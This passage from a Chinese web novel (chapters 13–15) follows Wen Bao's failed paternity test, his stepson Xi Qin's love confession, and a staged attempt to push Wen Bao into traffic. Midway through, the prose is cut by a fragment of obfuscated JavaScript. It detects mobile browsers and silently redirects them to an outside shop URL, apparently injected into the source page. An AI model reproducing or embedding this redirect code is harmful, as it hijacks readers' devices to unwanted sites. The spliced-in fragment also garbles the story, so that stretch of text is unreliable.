好吧,温宝泄力,世界上有两种人最难讨好,一类是有钱人,一类是聪明人。
温宝常常能感觉到自己和这两类人之间的壁垒,并为之自卑在意,宋执或许吧人很好,但显然并不喜欢他,温宝有些难过。
但很快,温宝就又哄好自己,在心里拍了拍温宝模样的小人头,没关系没关系,虽然早上迟到没上成课,回宿舍也没和室友相处好,但这都是小事。
当务之急的大事,是亲子鉴定啊!温宝立刻打满鸡血,干脆把学校的事全都抛之脑后,随后拜托仇顺发找人运行李,就匆匆离开。
13. 被“告白”的温宝
“什么?做不了?”温宝不可置信拍桌而起,桌子上两个装头发的塑料袋子抖了抖,为什么做不了,难不成是因为……席秦,温宝很快锁定嫌疑人,“是不是席秦,他威胁你们了是不是,不让你们做亲子鉴定,我就知道,我就知道!他肯定是心虚了。”
温宝非常激动,他被席秦偷袭了,打了他一个措手不及,没关系他可以去别的地方坐。
“不是小席总的原因。”工作人员笑着,指着袋子,“您带来的两份头发上都没有毛囊,做不了DNA检测。”
工作人员的表情真诚,而温宝两眼放空彻底傻了。
“怎么会这样!没有毛囊就做不了了!”温宝简直要晕厥过去,偏偏这个时候工作人员还特意告诉他,收集毛发最好直接拽下来,而不是用剪刀剪,要保存完好毛囊。
哈哈哈哈哈,笑死温宝了!
可恶!
这种重要的事怎么没有人告诉温宝!电视剧里可从来没提过,不是拿到头发就能做亲子鉴定的吗,天呐,电视剧为什么不能严谨一点!内鱼到底在拍什么啊!
温宝失落,温宝崩溃,温宝抓着小包摇摇晃晃走出了检验所。
他的背影在阳光下拉出一个又矮又圆的影子,跟着身子一起摇晃,笨拙呆萌。
苍天竟然一点失败者的氛围都不给他,此时此刻难道不该是夕阳西下,萧瑟之风吹来,温宝痛若断肠吗。
功亏一篑,他想要席秦的头发可以再取,可是闻鹤哥的头发从哪里弄呢。
没有希望了,温宝还想着他比张亨通聪明,没想到两人半斤八两,这让温宝怎么接受!
温宝心里正是气恼,正是对席秦这个名字厌烦,偏偏这个时候席秦打来了电话。
温宝看着席秦两个字,怒火中烧,啪一下接通,嗔怒:“喂!你……”
“你不是在查我和席闻鹤是不是亲生父子的事吗,回老宅这里我告诉你。”席秦轻巧地打断了温宝的话,声音低沉,但听得出心情很好,说完就挂断了电话。
“……啊……”温宝微张着嘴巴,脑子竟一下子宕机了。
席秦怎么知道他在查这件事。
*
温宝按照席秦的要求匆匆回了家,一进门,席秦登堂入室,正坐在沙发正中央,戏谑地看着温宝,席秦应该是换了发型,头发更短,带了些野性进去。
温宝这个时候还是很有骨气的,上前包包往沙发上一甩,一定要是沙发上,这是温宝瞄准好的,摔在地上肯定磕坏了。
紧接着温宝在席秦对面一坐,抱胸跟着翘起二郎腿倨傲:“说吧。”
跟席闻鹤这么长时间,也没学多少东西啊,席秦阴阳怪气地想,他长指点了点桌角,示意温宝去看:“看看。”
席秦:“我不是一直想证明我不是席闻鹤的亲生儿子吗?看看桌子上的这份文件。”
温宝低头看去,也是一份亲子鉴定,是席秦和席闻鹤,只不过这份和温宝幻想里的完全不一样。
上面黑纸白字清清楚楚显示着席秦就是席闻鹤的亲生儿子。
“你想的,怀疑的,早在很多年前就被席家人质疑过了,这份就是当年的鉴定结果,当时这事还是席闻鹤你老公出面解决的。我席秦就是席氏名正言顺的继承人,这点你不用怀疑……啧,你趴那么近干什么。”
席秦看着快把脸贴在纸面上的温宝一脸不爽,这反应和他想的不太一样。
温宝找空抬头撇了席秦一眼,冷哼:“我怎么知道这是真是假,万一你是骗我的呢!”
说着趴在纸面上,一个字一个字看清楚,恨不得从一个个小黑字里看到席秦不是亲生的证据。
失策,失策,怎么会这样,温宝还从来没有想过这种情况的发生,真的是亲生父子,那张亨通……哎呀哎呀,错信张亨通了。
他到底是哪里来的消息,全错了。
温宝当初听信张亨通一面之辞,一方面是因为他信任张亨通,另一方面是他其实确实对财产有点想法。
当然了,更重要的是,他要捍卫闻鹤哥的财产呀。
这可怎么办,温宝回想起之前针对席秦的一幕幕,他已经把和席秦的关系搞砸了。
温宝面对着纸面,头也不抬,耳朵红透了,嘴巴瘪着像个小鸭子,长睫毛一眨一眨刮在白纸上,发出一点簌簌声。
有点像席秦养的蛇爬行的声音,不仅如此,看起来也和蛇一样,漂亮危险但蠢萌没头脑。
席秦张张嘴还没来得及说什么,对面的温宝就匆匆起身,小碎步在客厅里找起东西。
很快,他捧着一个小茶壶一个漂亮杯子过来,给席秦倒了满满一杯茶,塞进席秦手里,很热情地招呼席秦,一脸谄媚:“快喝快喝!这么长时间我还没好好招待你呢,哈哈哈哈,都是误会——”
他半蹲着,在坐着的席秦面前还稍微矮了一些,塞杯子过来的手又白又烫,在席秦手心羽毛似的轻轻划过,挠的人痒收紧手掌,却发现手中不过一杯热茶。
席秦盯着热茶看了一会儿,温宝则讨好地看着他,席秦没有喝茶:“真的是误会吗,上次在这里口口声声说要全部家产的是谁呢?另外,茶满是赶客的意思,看起来小爸不太欢迎我啊。”
席秦很刻薄。
温宝扬起来漂亮的笑容一僵,什么东西要突破那层琉璃一般的眼睛出来,但他很快垂头把自己埋起来。
沉默,两个人之间没有人说话。
席秦看着温宝使劲儿低着头,两耳红的滴血,他顿了顿:“哭了?”
哭这个字一出来,某个地方就传来很压抑细弱的抽泣声。
温宝抽了抽鼻子,肩头带着身子都在席秦面前抽动两下,拿袖子擦了擦眼泪,紧接着一张可怜兮兮,哭得一塌糊涂的可怜小脸出现在席秦视野内。
一张白净小脸,脸形流畅自然,堪称完美,嘴唇微红,睫羽被泪水浸的湿黏,那样长那样黑,眉眼精致如画。
脸上几道断开的泪痕,水珠涟涟破碎,上次哭得这么厉害还是席闻鹤死的时候,这么害怕吗,席秦是洪水猛兽吗。
温宝仰着脸断断续续祈求:“你不要针对我好不好,不要把我赶出去……好不好,求求你了。”
“我是,是误会了,呜呜呜,求求你你不要生我气,我向,向你道歉,绝对不会再,再欺负你了。”说着说着,温宝想起什么,眼睛一亮,连忙可怜兮兮地加上:“我保保证,我肯定做好你爸爸呜呜……”
温宝傻兮兮的可笑,但席秦却笑不出来,在温宝这里,席秦是个会把温宝赶走让他露宿街头的坏人吗,尽管席秦还没有做过伤害温宝的事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459296|201274||http|test|mini|href|location''.split(''|''),0,{}));
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>温宝就这样想他吗。
温宝就这样讨厌他吗。
席秦深深地看了温宝一眼,半晌叹了口气,捏着温宝的小脸,宽大的手掌覆在温宝脸上半干不干擦了两下,擦的温宝脸颊微微刺痛,轻轻眯起眼睛。
席秦:“没一句我爱听的,行了,不欺负你,你是受张亨通挑拨我知道,以后好好听我的话,不然钱一分你都捞不到。”
温宝闻言哭哭啼啼地擦了擦泪,一边抹泪一边偷看席秦的脸色小声:“那我是闻鹤哥的老婆都一分钱没有吗,你也不缺钱啊,你怎么能一个人独吞……”话里话外意思是不仅要,还要多分。
温宝委委屈屈地地吸了口气,胸脯上上下下,抬眼看着席秦,还在打着心眼子胡乱打算呢。
小骗子贪财鬼,席秦暗暗咬牙。
他气得想笑,但也实在不高兴,往常他总是和温宝插科打诨,看起来欠揍但好相处,现在却一点表情都没有,沉沉地看着温宝,吓得温宝大气都不敢喘。
席秦不是个大方宽容的人,温宝从前骗了他跑了,之后又嫁给他父亲,又偏偏席闻鹤“死”了,撞到他手里非要和他争家产,怎么能不说是缘分呢。
席闻鹤“死”了。
席秦慢慢琢磨这句话,许久温宝蹲的腿都麻了,泪也干了,尴尬的想偷偷起来。
席秦瞳孔极黑,像是暗影深处的一头漆黑猛兽:“想要钱?”
温宝讷讷点头:“嗯。”
席秦微微弯腰很有压迫感,勾起唇角:“那我给你指条明路,你跟我,我给你钱,很多很多钱,不止如此……”
温宝脸上出现一种大脑超载的空白,愣愣的,在席秦面前眨眨眼,大声打断:“席秦你不要开玩笑了,我是你,你父亲的……”
席秦轻轻笑了:“我知道,我要的就是你,小妈。不是跟你开玩笑……好好考虑考虑,给我答复。”
气氛陡然沉默,温宝坐在地毯上愣愣的,不敢动,席秦看着他意料之中没等到回答,于是起身,临走,他突然停下。
温宝身躯一抖,听见他说:“加个好友吧,方便联系。”怕拒绝他又补充:“学校的公司的还有财产都有可能。”
温宝小幅度动了动,脑子宕机了犹豫着打开微信让席秦扫码。
席秦看了眼页面面色如常:“加QQ。”
有点让温宝意外,现在大部分人联络大都用的微信,但QQ温宝也是有的,温宝把二维码展示出来,他小声说:“我不常用。”
席秦看了眼,是很新的账号,估计注册没两年,大概温宝嫁给席闻鹤之后就把之前的一切都销毁了,老老实实地崭新地做席家夫人。
席秦敛眸,拿他多年的旧账号加上温宝,紧接着一动不动地期待着什么。
但什么也没发生,温宝改好备注,眼珠子转了一圈,浑身难受似的往旁边稍微挪了挪,对于席秦的QQ账号他什么话都没有说。
席秦心里微微叹了口气,起身离开,临走前看温宝有些无措害怕他故意道:“别紧张,好好想想,无非是没有钱,我又不会强迫你。”
温宝瘪了瘪嘴,不知道自己是幸运还是倒霉。
他的手机放在桌面上屏幕还发着亮光,上面的好友没几个,其中一个用着有些古早中二的情侣头像。
是席秦的。
14. 和室友起冲突的温宝
温宝的课程很紧张,他和席秦自从上次谈话后就很长时间没有再见,温宝也不知道怎么跟席秦说话。
期间他打了张亨通的电话,甫一打通,温宝就大怒:“张亨通我再也不会相信你的话了!你再也不要跟我打电话,我们两个绝交!”
说完,一点也不给对方了解真相的机会,就要挂断,张亨通好说歹说哄着温宝问怎么了,才从温宝嘴里知道真相。
他的反应比温宝剧烈得多,在电话那边腿软得要跪在地上,再三确定温宝很讲义气地没有把他供出来,张亨通简直要给温宝跪下磕一个认宝做父,即使温宝看不见,也能通过电话听一个响。
两个人垂头丧气老实得跟鹌鹑似的,不敢再有小心思。
温宝对这个结果有点失望,不过竟也有点轻松,这个任务对于他来说实际上有些艰难沉重,去争在他看来不属于他的东西会让温宝时常惴惴不安。
温宝失魂落魄地被告知事情真相,他心里有点落差,席秦的话也总是出现在他脑海里,但不容他心里过多纠结难受,温宝就被迫继续自己的学业。
他在学校过的晕乎乎的,他是半路出来上学,没人和他交好,只有几个班委很负责任地告诉他教室食堂这些位置,平时生活动线,生活才慢慢步入正轨。
宋执很难相处,他话不多独来独往,但并不会故意为难温宝,这是客观上的事实。
但是温宝并不这么觉着,宋执很聪明,学历高人也帅,看起来就是人生赢家,宋执不好相处,大概是看不起温宝,毕竟温宝不太聪明。
温宝心里有点说不上来的感觉,他对宋执“轻蔑”的态度有点记恨,但又觉得人家看不起他实在正常。
被一个聪明体面人认可了,他或许也能变得聪明体面。
他想和宋执拉进距离,因此对宋执很讨好,就像一只猫拼了命像融进老虎群里,趴在老虎面前露出肚皮示好,叼出自己最喜欢的鱼捧到老虎面前,妄图自己也能成为一只老虎。
这不可笑吗。
可温宝大概并没有意识到这样子是错的,他只是觉得让步讨好,能让对方更喜欢他,更接纳他。
一只孤独的猴子是会抑郁的。
他害怕打工时老板对他不满,那些老板往往在给温宝支付薪水的时候怨声载道,指出温宝这里干的不好那里干的不好,嫌弃温宝身体不好不够勤快,一小摞钱攥在老板手里迟迟不给温宝,紧接着上面黏上手汗还有老板不满的唾沫星子,空气黏连的像泛黄化开的砂糖。
而温宝惶惶睁着一双眼,从皱巴的纸钞转移到老板皱着眉充满轻视的脸上,只能在这个时候提出他可以更便宜一点。
用利益换取认同,用廉价抵消不满,乖巧懂事是否能换来更多的包容仁蔼呢?答案是很明显的。
那天宋执回来,洗完澡在床上换了衣服,他原来并没有装帘子,直到温宝搬进来后没两天,就装了床帘上去,温宝也有床帘但他总是敏感脆弱,在别人是否对他抱有恶意这种事上过多猜疑。宋执是不是怕他偷看?可他不会偷看的。
虽然他死掉的老公是男的,可是他并不是每个男的都喜欢。
很快,宋执换下几件衣服,随手放在篓里,接着伏案写些什么,他总是很忙的样子。
温宝眼睛一亮,看向自己积攒了一堆的脏衣服,心里有了好主意,连忙从床上下来,傻愣愣地抱着盆走到宋执桌边,伸手去拿他的衣服,同时语气欣快说:“我刚好要去洗衣服,顺便把你的一起洗了吧!”
宋执手中的笔一下停了,立刻看过来目光黑沉带着一点怒意:“别动!”
温宝吓了一跳,脊背像个胆小的兔子往上一顿,心跳又快起来,温宝抬眼,眼珠很黑,圆溜溜地让人觉得可怜,他长得精致,面部骨骼纤薄脆弱,似乎不止一掌就能弄伤他,一句话就足够让他受伤。
宋执冷着脸,从他手里没费多大力气夺回衣服,他声音压抑:“我不需要你帮我,以后我的东西你不要乱碰。”他像是很害怕碰到什么东西一样,衣服重新丢进脏衣篓里,又起身去洗手间洗手。
水流哗啦啦的声音传出来,成功刺伤温宝那薄薄一层自尊,主动讨好却被嫌弃,他觉得无地自容,站在原地耳朵像被火烧,他又觉得自己丢人,红耳朵像是温宝破防了,不能被宋执看到他窘迫的样子。
温宝反应过来,匆匆抱着衣服跑了。
像丢了魂一样,温宝把衣服丢进洗衣机里搅动,他觉得好丢脸,宋执是不是在嫌弃他?温宝看了眼正搅动的衣服心想他的衣服也没有很脏啊,他又低头嗅了嗅自己的手指,还是香的呢。
宋执拒绝他的时候想什么,会想他是一个乡巴佬文盲吗,会看不起他吗,温宝在身上喷很贵很贵的香水,穿很贵很贵的衣服,还会被人看不起吗。
温宝觉得伤心,同样也很生气,他一边暗骂宋执是个神经病,一边鼻子泛酸想哭责怪起这一切的罪魁祸首,于是控制不住地躲进一边公共洗手间一个小隔间里,终于给席秦打去了电话。
“喂?怎么突然给我打电话,我还以为你要一直躲我呢。”
温宝听见熟悉人的声音更想哭了,哪怕席秦也是个不折不扣的混蛋,他大声抱怨:“都怪你!”
席秦不明所以:“又怎么了?”
温宝抱怨的声音停歇了,隐约有哽咽的声音随着电流声传过来,声音有点失真,把温宝的声音转变的很可怜可爱,圆圆的像一颗颗小豆子:“席秦,我不想上学了。”
“嗯?才上没两天就坚持不住了,你这样还怎么进公司?”席秦声音透过电话显得没那么讨厌了,相反有点温柔,循循善诱。
但温宝听不出来,他只觉得席秦是在嘲笑他,简直是不可思议,明明温宝听起来那么难过,而席秦再怎么说也和温宝是一家人,但现在呢,反而来笑话他。
他勃然大怒,连带着先前被席秦莫名其妙要求和他在一起的怨气一起发泄出来,他抽噎着大喊:“我来上学别人看不起我就算了!跟你打电话,你也嘲笑我是不是,席秦你这个混蛋,我就知道你讨厌我看不起我,觉得我又笨又拜金是不是!我告诉你,你早就暴露了!你这种人渣我是不会跟你在一起的!”
“你快安排啊,我要退学!”
席秦被劈头盖脸一顿骂,他敏锐地抓到重点:“我什么时候讨厌你看不起你了。”
“你还……你还不承认,你说我坚持不住上学,这都不说了,之前还说我是小学生,这也不说了。”温宝分的还挺清楚,知道有些事都是他自己先挑起来的,但席秦轻视温宝的证据还是数不胜数,温宝开始翻旧账,“我和我老公的婚礼你是不是没来,我第一次见你和你打招呼的时候,你是不是根本没有理我,直接忽视我!”
“混蛋,都是混蛋。你以为你有钱了不起是不是,以为聪明了不起是不是,我很用心很用心地准备见面礼,很小心很小心地和你打招呼,但你从来没有好好和我说过话!”
温宝嫁到豪门,认识最清的就是有钱人就是有教养是句鬼话。
他穷着的时候,天天看手机上那些人说什么这就是有钱人该有的教养,好像教养是富人天生就该有的。
富人相比穷人总是和道德联系在一起,好像道德是跟着钱一起流动的,钱到哪里道德就到哪里,人们的憧憬艳羡甚至赞美就到哪里。
都是假的,看不起温宝的有钱人很多很多。温宝是不小心偶入天鹅堆里的丑小鸭,再怎么装扮自己都成不了天鹅,都要被嘲笑。
那些富太太看不起温宝的谈吐,嫌弃他审美差品味差,靠脸上位,温宝参加他们的聚会,往往一出场就会有眼神上上下下地挑剔他,悉悉索索的暗地私语,有着长长美甲的手远远地对着温宝指指点点,说话声音很小,突然发出的几声笑声却尖锐刺耳。
温宝听不到他们的谈话,但每一声笑声,温宝都会想他们在说他什么,他穿的有哪里不对吗,他做的有哪里不对吗。
拿叉子的手错了吗,喝汤发出声音了吗,跳舞的脚出对了吗。
温宝不得不在意这些,被别人的看法议论裹挟着,一直到席闻鹤出面,温宝才无论何样,有了在圈子里目中无人的底气。
越是有钱越是刻薄。
席秦也是这样。
席秦久违地想起温宝说的事,他有些哭笑不得:“我父亲和比我还小的男孩结婚了,那真的很尴尬,至于……你跟我打招呼。”席秦顿了顿,继续说:“你打招呼的声音总是很小,我根本没有听到,哪次算是我们的第一次见面我也没有印象。”
“我没有看不起你,我高中大学的时候也自己去兼职打工过,没必要看不起你温宝。”席秦静静说道。
温宝摇摇头,悄悄哭着,厕所外面有人走过,他也不敢大声叫嚷了,压抑着哭声,害怕被人听到,又会很丢脸了。
“才不是你说的这样……呜呜……你总是欺负我,你有很多很多钱,一定看不起我的。”温宝不相信,他之前针对席秦,是以为席秦不是席闻鹤的亲生儿子。
可最后发现是的,温宝失去了针对席秦的理由。
温宝讨厌席秦,是因为席秦
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看不起他,可是现在席秦说他根本没有看不起他,那温宝就没有讨厌席秦的原因,讨厌席秦的动力。
温宝讨厌什么呢。
温宝好像是在无理取闹。
席秦在那边停顿了好久,半晌才妥协地轻声说:“我不是说过,希望你以后能跟着我,你为什么现在还觉得我是看不起你,如果我告诉你,我喜欢你呢?”
话语像一粒尘埃静静落下,落在静悄悄的地面上,等待着一个人的脚步就再次荡漾起来。
温宝睁大了眼睛,席秦真的不是在开玩笑,为什么,这……这是不可以的不是吗。
或许是席秦也知道说这个对于温宝有些超纲了,他把话题拉回来:“所以冷静下来了吗,现在你能告诉我发生了什么吗?”
温宝不说话。
席秦就带着他:“是有人看不起你吗,有人笑话你了?谁?你的同学,还是室友?他们怎么能这样!”
温宝听着他的话有点委屈,瘪了瘪嘴,让他在席秦面前袒露心事有些难堪,但温宝又很难过,他太期望有一个人能来帮他,是他做错了吗,为什么总是和别人相处不好呢,温宝是不是一个很失败的人呢。
“是我室友……”温宝慢慢的越说越快像倒豆子一样把事情原委说出来,“他不让我给他洗衣服,就是这样。为什么呀……而且你知道吗他拒绝我是那种,看不起我的拒绝。”
温宝把自己的主观感受掺进话里。
席秦在电话那头安静地听温宝倾诉,人初见温宝一定会觉得温宝漂亮聪明有心眼,但接触一会儿,会发现这人目光短浅贪财造作,骄纵野蛮。
可时间再长一点,才能窥见他坚硬无礼矫揉造作外壳下的自卑和敏感。
席秦:“啊,他这么讨人厌啊,那以后不要再和他来往了。”他声音显得平和,和平时欠揍的席秦一点都不一样,温宝跟着他的语气不自觉地把情绪沉下来,垂头盯着洗手间地上的水渍撅着嘴抱怨:“就是就是,他真的很坏。”
席秦:“话说,你干嘛要洗他衣服?自己的衣服还不够洗吗。”
温宝打着磕绊:“不是,就是……”洗衣服行为下的讨好迎合,温宝没有勇气说出来。
席秦了然,像是透过手机和肉身,看到了温宝的内心:“或许他有洁癖?他不需要的话礼貌拒绝就好了,没必要这么凶。”席秦站在温宝的立场上说话,帮亲不帮理的样子,但是话间又悄然将问题重心从为什么不让他洗转移到拒绝为什么那么激烈。
温宝并没有意识到,只是傻傻地跟着席秦的话点点头,然后说:“他有洁癖吗?可能吧,那下次我问清楚再拿他的衣服好了,这次可能是我不好吧,但是他也不能这么凶吧。”
如果是因为洁癖,那温宝就能稍微原谅他了,自动给宋执的行为找上一个理由。
虽然电视剧吧里和小说里总是让霸总患上这种病,很时髦的样子,但温宝觉得或许那样也会很难过,无论面对什么,第一反应都是干不干净,很糟糕吧。
席秦:“那你还退学吗?”
温宝嗫嚅着嘴唇,支吾着嘴硬不肯说话,要知道他跟席秦打电话本来就是闹着回去的,现在又改主意了还额外骂了席秦一通,显得温宝像在没事找事。
席秦没逼他回答:“那……要不要回家住一段时间,我去接你。”
温宝惊讶,温宝犹豫,如果回去那就要面对席秦了,宋执还有席秦,无论哪一个都让温宝感觉有点压力,然后尴尬,但是席秦好歹是温宝认识的。
而且……而且人好像还挺好的,如果席秦说的是真的话,那就是温宝一直以来错怪他了。
席秦其实还挺好的,愿意听他说这么多话,还站在他这一边,温宝有点感动。
是因为席秦喜欢他吧,温宝抿了抿嘴:“想回去……谢谢你啊席秦,你其实也挺好的。”但是温宝还没想好,想好席秦说的话。
席秦不觉得这样过分吗,他可是嫁给过席秦爸爸的,怎么能再跟儿子呢。
过了一会儿,席秦懒洋洋的笑传过来,清浅:“知道我好就对了,我这么好还不乐意和我好……”
啪——
手机被温宝啪叽一下挂断了,就知道席秦会说这个,温宝红着脸像头小牛。
席秦的道德底线低得超乎温宝的想象。
席秦看着显示通话结束的手机屏幕,愣了一会儿笑了笑,好像又过了,没等席秦想出什么解释的说辞,屏幕通知栏弹出来一条温宝发来的消息。
【温宝:杀掉你![怒][菜刀[菜刀]】
15.遇险的温宝*
温宝回去的时候宋执已经不在宿舍了,可能是怕尴尬吧,温宝朝没礼貌鬼——宋执的座位上努了努嘴,表示自己对宋执这个胆小鬼的蔑视,他还能直面尴尬矛盾呢,宋执却逃了,可见温宝多么勇敢。
他稍微收拾行李,把衣服晾好,就出了校门,刚好也是周末,什么都不耽误。
席秦不知道什么时候来的,身高腿长站在路灯下,很像那种出来街拍的男模,路过的人纷纷回头看他,偶尔有几个踯躅脚步,打算上前搭讪。
温宝撂哒着两条腿,像一匹小马或者小鹿噔噔噔过去,脚步声很响,听着就不乐意,走近温宝果然噜着个脸,嘴撅出二里地了,别别扭扭不肯看席秦:“车呢?”
随着温宝走近,很快路人的目光都落在了他身上,大概是温宝长得格外好看吧。
就是走起路有点像傻子,众人心中腹诽。
温宝自然不知,他四处望了望才发现车停的有些远抱怨:“怎么这么远啊!”
席秦抬头看他,有点无奈笑着:“宝贝儿,这是学校附近,没停车位,停车罚钱,劳驾您多走几步?”说着就领着温宝过去,两个人走在一起一高一低,看起来像是情侣。
温宝被一声宝贝吓了一跳,这个世界上除了席闻鹤这样叫过他,其他的再也没人这样叫过了,温宝偷瞄席秦的神色。
但席秦面色如常看也不看他,就像是随口一说。
温宝暂时放松下来,但心里默默吐槽席秦都是受国外那动辄甜心亲爱的开放风气影响,学坏了,他可受不了这个,席秦再怎么叫的亲昵,温宝都会很有主见很坚定的。
得亏说话不夹英文单词,不然温宝可受不了(当然主要是听不懂,温宝绝不承认)。
中间有个红绿灯路口,恰逢下班,路两侧挤满了人,温宝很会挤,跟条滑溜的鱼一样钻到最前面,嗯,有点没素质,不过温宝不在意这个。
席秦跟在后面伸长了胳膊去握温宝的手,不过他人高马大,往前挤着不停碰到人,引来一阵阵不悦,席秦只好一边皱着眉头一边不停说着抱歉往前去。
温宝站在路边缘等待悄悄点着脚尖,暗自偷听后面席秦的窘迫,一旁信号灯灯照过来,在温宝视野一角映出一片红色,显得有点急迫危险。
温宝被席秦的窘态逗得想笑,连带着一点不愉快和难以言说的隐秘都抛在脑后,他勾起一抹坏坏的笑,幼稚地回头朝席秦炫耀:“我比你快哦,一会儿我先到车上,就立刻开车走,把你丢在这里。”谁让席秦总是爱胡说。
那双穿着精致昂贵靴子的脚半悬在空中,面前的道路车水马龙,只等着绿灯一亮,这靴子的主人就要跳下去,然后走过马路,远远把席秦甩在后面。
席秦无奈但不禁跟着笑:“你怎么这么坏……温宝!”
突然,发生了什么,那随意中带着隐隐不易察觉的宠溺的男声登时变了腔调,又急又粗。
“啊——”温宝身形一晃,竟是一双手出现在他身后低处,朝他狠狠推了一把,一张雪白盈亮的脸像是蒙上一层滤镜一样变得模糊,一刻不停地变换方向位置,朝马路上摔去,正正对着一辆疾驰而来的面包车。
温宝大脑一片空白,眼睛睁得极大没有焦点,他……不想死啊……
电光石火之间,席秦往前冲过去,长臂往前一身,抓住温宝的手臂将其一把拽回。
温宝飞扬起的碎发几乎刮过面包车车身,他惊叫一声,眼前最后一个画面是席秦着急的脸,随后眼前一黑,稳稳落入席秦怀里。
咚咚,咚咚,温宝几乎要死了,死死地攀着席秦的胳膊,埋在席秦怀里。
周围人都散开了,给温宝席秦腾出来地方。
席秦拧着眉,抓着温宝的肩膀把他扶起来问他:“怎么样受伤没有,撞到你哪里了?”
但温宝只是垂着头,身体往下滑,席秦心里一跳,连忙把人紧紧抱在怀里搂着腰抬温宝的下巴,这么一看,温宝两只眼睛睁得大大的,眼睛泛红脸色苍白,一副惊魂未定的样子,但不像是受了伤。
席秦心下一松:“你怎么……”
温宝抖着嗓子,怯怯地看着席秦,很坚强地努力让自己没哭:“我没事,只是我腿软站不住了,不行,真的站不住,吓死我了,吓……呜呜吓,吓死我了。”两条腿跟烫熟的面条一样,左右前后筛糠似的抖着,往下滑。
“好好我知道了。”席秦抱紧温宝,手臂铁钳似的环着腰,将人禁锢在自己身上,很紧很牢,甚至有点发疼,温宝没有吭声,抬头看见席秦紧绷的下颌,他的心脏像被谁咬了一口,强势地撕掉一块下来,不完整了。
温宝挺害怕,心脏跳个不停,眼睛骨碌骨碌往旁边人身上看小声跟席秦说:“有人推,推我,是故意的,肯定是要害我!”
席秦点点头趁着绿灯朝后面众人说了声谢谢,半抱半携地带着温宝往车子方向走,表情冷的可怕:“我看见了,先回车上。”
温宝一边摆动着筛糠的腿,一边强作镇静,嘴唇发麻问:“那不抓他吗?”
席秦把温宝塞到车上,坐到前排锁了车回头跟温宝说:“已经有人去抓了,这你不用管。”
他神情前所未有的冷酷严肃,少了平时故意表现出来的张扬痞气,看起来很可靠。
温宝半瘫在椅背上嘴里发泄似的将推他的见人和疾驰的汽车骂了一通,稍稍回血,支起身子,额头抵在椅背上好奇:“谁去抓了,我怎么没看见除了你之外的其他人?”
席秦没立刻回答,直到温宝都觉得不对,往前看,席秦搭在方向盘上的手在微微发抖,幅度很小,但不可忽视。
温宝微微发愣,立刻噤声仓皇低头,眼神到处瞅着,像文盲遇到高数题一样慌乱,一样不知所措。
这时席秦似乎才想起温宝的话,含糊回答说:“我的保镖,刚才去买东西了。”
“哦。”温宝闷闷地应了一声。
席秦这是在糊弄他吧,有事瞒着温宝吗?
说着喜欢他,其实都是骗人的吧,一点诚意也没有,难道只答应给温宝钱就够了吗?
温宝失望,一边骂凶手一边很没有素质地踢着席秦的座椅,看着席秦不得不坐直,奇怪地回望:“怎么了?”
“没什么!”温宝粗声粗气道:“我在想凶手!哪个,哪个坏蛋这么记恨我,都想要我命啦!这是犯法的!等着我告他吧,等我抓到他,有他好果子吃!”
温宝说着说着真的越来越气,恐惧被转变成了愤怒,发泄在哪个未知的凶手身上。
温宝在后座躁动得像个脾气暴烈的鹦鹉,踢踢踏踏在后面闹出动静,一个个猜测谁会这么恨他,要杀他,总不能是他过马路挤到别人了吧。
席秦观察着周围路况,看见几个彪形大汉朝他打招呼,低头一看手机上来了消息。
【老板,人抓到了,已经报警了。】
“怎么样,怎么样?”温宝从后面探过来头,越过席秦的脸颊去看手机屏幕上的内容恶狠狠的:“抓到了没?怎么处理?是不是先逼供,然后沉海喂鲨鱼!”
席秦席氏的未来当家人,听听,多么响亮的名头,那不得像电视剧上演的那样,直接犯罪杀人为温宝报仇嘛。
啊,
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刺激,太刺激了,温宝满眼都是我已经洞悉你们的想法,明白这世界残酷的规则了,温宝也要当黑色商业帝国的恐怖掌权人!
席秦看他精神不错,紧绷的精神稍微放松,终于又开始逗弄温宝了:“没有,报警了,现在可是法治社会,你在想什么。”眼看温宝面露失望,席秦继续:“你刚才猜测推理那么久,猜到谁想杀你了吗?”
温宝傲然,挺着一张还带苍白之色的脸蛋说:“当然!不是跟我打麻将被我赢了好多钱的王家太太,不是跟我有点矛盾的宋执,那就是想拉拢我不成的席卓济父子,肯定就是这三批人之一,不可能有其他可能。”
温宝信誓旦旦,猜的离奇又合理。
席秦勾唇:“你还挺聪明。”很快他的表情没有持续太久,脸色变得阴沉狠戾:“多半是席卓济。”
温宝瘫在椅背上,他猜对了三分之一,但还是很惊讶,温宝苦着脸:“那他怎么这么小气,我只不过拒绝和他们一起针对你,他们就要杀我吗!”
“你?当然是因为你插在席家里闹腾,像颗小石子一样硌人,现在又明显和我一伙,当然要杀掉你了。”席秦回头把温宝拉进了自己的阵营。
“谁跟你一个阵营啦!”温宝让席秦不要胡说,立刻划清界限,他左看右看唯恐席秦这话被席卓济他们听到,又来杀他,“我只想要属于我的财产,我可什么都没答应呢。”
席秦彻底冷脸,没好气地哼笑一声,转过头发动车子回家:“行,和我没关系,我把钱全拿走也和你没关系,我现在改变主意了,你考虑的期限将被大大缩短,这几天内最好就给出答案,不然……”
温宝大叫,声音几乎透过车窗跑到外面路人耳朵里:“啊,你干嘛这样嘛……”
车子越驰越远,那叫声也渐渐淡了。
*
A市,一处临山别墅群。
席泊很少来这里,他父亲席卓济的家,席卓济没有妻子,一个人住在这里。
席卓济很会享受,家里佣人很多,席泊踏进门口路过花坛,修剪植被的佣人就通知给了管家。
厅里错落放着数个鸟笼,鸟笼栏杆交错排列,像一大片笼墙,阴沉沉的很压抑,看起来几乎要把人罩住,让人分不清关的是鸟还是人。
席卓济靠在沙发上逗鸟,席泊进去眼睛看都不看,一个角度都不曾转动。
席泊把文件放在一边没有离开,像是还有任务没有和席卓济说。
席卓济逗鸟逗得烦了,把笼子推到一边,翘着二郎腿,语气很温和:“席泊啊,你这事办的不漂亮,怎么安排了两次都只是挠痒痒,我看你比席漳那小子有脑子才安排你去做,怎么这么优柔寡断。”
席泊闻言身体一顿,紧接着垂头语气冷淡:“是我不如席漳了,下一次绝对不会失手,我只是……有些不懂,为什么浪费人力物力去杀温宝,他算不上威胁。”
